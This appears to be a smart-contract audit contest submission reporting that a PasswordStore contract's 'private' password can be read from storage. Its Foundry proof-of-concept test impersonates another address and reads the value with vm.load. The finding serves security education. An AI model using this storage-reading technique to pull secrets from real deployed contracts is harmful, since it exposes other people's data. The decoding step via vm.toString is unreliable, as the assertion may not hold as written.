Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can retrieve the password

Summary

The value of the "password" can be directly read from the storage slot.

Vulnerability Details

The value of the "password" can be directly read from the storage slot.

function test_attack_get_password() public {
vm.startPrank(owner);
string memory ownerPassword = "ownerPassword";
passwordStore.setPassword(ownerPassword);
string memory password = passwordStore.getPassword();
assertEq(password,ownerPassword);
vm.startPrank(address(1));
string memory getd_password = vm.toString(vm.load(address(passwordStore), 0x0000000000000000000000000000000000000000000000000000000000000001));
assertEq(getd_password,password);
}

Impact

Password leakage.

Tools Used

vscode

Recommendations

Do not attempt to store passwords in variables.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!